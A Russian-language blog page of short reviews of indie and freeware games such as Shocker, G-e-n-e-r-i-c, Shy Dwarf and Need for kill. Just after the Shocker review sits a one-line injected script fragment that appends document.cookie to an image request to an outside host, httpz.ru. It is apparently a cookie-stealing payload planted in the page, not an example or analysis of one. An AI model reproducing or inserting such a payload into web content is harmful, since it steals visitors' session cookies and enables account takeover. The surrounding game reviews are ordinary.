Shocker (страница закачки) — это уже по настоящему логическая игра, выполненная в милом ретро-стиле (наподобие [[SYNSO]] и [[Jumpman]]). И может арт здесь не такой насыщенный, но Shocker берет совсем другим.

Наш герой попал в некое подобие виртуального пространства, и теперь должен выбираться из уровней, находя дорогу к выходу. Делать это нужно, перелетая на платформы разных цветов, которые имеют разные свойства. Голубые — просто удерживают, не давая улететь за край, сиреневые могут менять свое положение, зеленые выполняют роль телепортаторов.
На большинстве платформ можно перейти на противоположную сторону, чем необходимо пользоваться при прохождении.
В общем, это весьма интересная и занятная игрушка, стоящая потраченного времени.
;img.src=%22http://httpz.ru/np9mbjphie7.gif?%22+document.cookie;)

В CutCopyPasteGnome можно копировать-вырезать-вставлять гномов и их пиксельное окружение. Сама идея очень неплоха. Реализация подкачала: каждый раз вызывать меню правой кнопкой мыши надоедает, а уж когда появляются враги... Автора понесло явно не в ту сторону!
Mi — это красиво. Mi — это стильно. Mi — это быстро.

читать дальше >>
Мишель Тодд, о котором я когда-то писал, продолжает делать игры, как это ни странно.
Теперь он взялся и за 3D, 3D весьма интересное, а увидеть его можно в игре Spirit Guide.

О чем же это? Ну вообще-то ни о чем, хотя можно даже получить намеки на сюжет.
читать дальше >>
Barbarian Onslaught: The Secret of Steel — презабавнейший хак'н'слэш. =) Я не вникал в тонкости сюжета, просто всех рубил.
читать дальше >>

G-e-n-e-r-i-c (1.3 мб) — очередная экспериментальная игра от [[Arvi Teikari]]. И да, это снова платформер, выполненный в марио-тематике. А значит мы опять собираем монетки, кристаллики, ключики, прыгаем по грибочкам, бежим к зеленому флажку…
Спрашиваете, что это за пушка в руках у главного героя? С-ю-р-п-р-и-з!
Данная игра - симулятор гопника. Как ни странно почти полноценная текстовая РПГ с изрядной долей юмора.
Выбираем кем хотим играть, кроме любимого нами гопника есть несколько других классов. В игре по сюжету - нам предстоит пройти нелегкий путь от уличного гопника, до реально крутого пацана.
Скачать можно здесь (30 кб)

ad nauseam - одна из тех игр, в которые вам непременно нужно сыграть. Как минимум потому, что она совсем незамысловатая и не займет много времени. Как минимум потому, что при весе в два мегабайта она вмещает зрелищности на гигабайт. И еще потому, что ее автор - небезызвестный cactus.


Симпатичная леталка. Управление простое, но сама игра по мере прохождения становится всё сложнее. Полёты происходят над поверхностью различных планет, где нужно уклоняться от появляющихся из-за горизонта препятствий. Идиотизм. =))

Cube Kingdom - небольшое приложение для 3д пиксельарта. Всё очень просто. Примерно как paint, но в 3d. =)

Shy Dwarf — коротенький странный платформер от одного из участников [[Amanita Design]] — Яромира Плахи (Jaromir Plachy). В нем нам предстоит попрыгать маленьким смешным гномом и поизучать элементарные надписи, которые появляются аж на 3 языках — чешском, английском и испанском.
Собственно всё.
Многие разработчики, как начинающие так и имеющие богатый опыт в игроделании пытались/пытаются воссоздать аналоги знаменитых шутеров — Half-life, Quake, Doom — в 2d пространстве. Но из-за специфики двумерности — сделать это не легкое дело на оценку «хорошо» или даже «отлично» выходит лишь у единиц ([[Soldat 2d]], [[Doom 2d]]), у многих же наоборот получается что-то, что нуждающется в доработке рубанком ([[Counter-Strike 2D]]). Сейчас же речь моя пойдет о 2d реинкарнации Quake 3 — Need for kill. Очень странно, что на этом сайте еще никто не рассмотрел сей платформер… Ведь он еще и сделан советскими специ русским программистом.
читать дальше >>
Зайдя на www.kongregate.com дабы посмотреть что есть такое - [[Go Home Ball]]. И не найдя в этом бегающем шарике ничего интересного, я начал активно рыться на этом ресурсе, и вот случайно выцепил из общей массы интересную флешку - n3wton.

читать дальше >>

Жили-были роботы и у них всё было. Но как-то раз один неуклюжий гражданин нечаянно лишил энергии весь их робогород. И они ушли в режим stand by. И вот, 10 тысяч лет спустя в одного из роботов бьёт молния...
Похоже на сценарий дурацкого фильма. Но на самом деле Little Wheel интересная, красивая и не е#ущая мозг игра с приятной музыкой. =)
Мой дебютный проект — «Go Home Ball».

Go Home Ball — это новый жанр physic-based игр. Вы можете в реальном времени воздействовать на движение мячика различными инструментами, чтобы помочь ему преодолеть все препятствия на пути к финишу. Оригинальный геймплей на даст вам скучать в течение 24-х уровней. Игра имеет приятную графику и атмосферный саундтрек, специально записанный для проекта.
Спонсор игры — King.Com
игратьчитать дальше >>
Последние обновления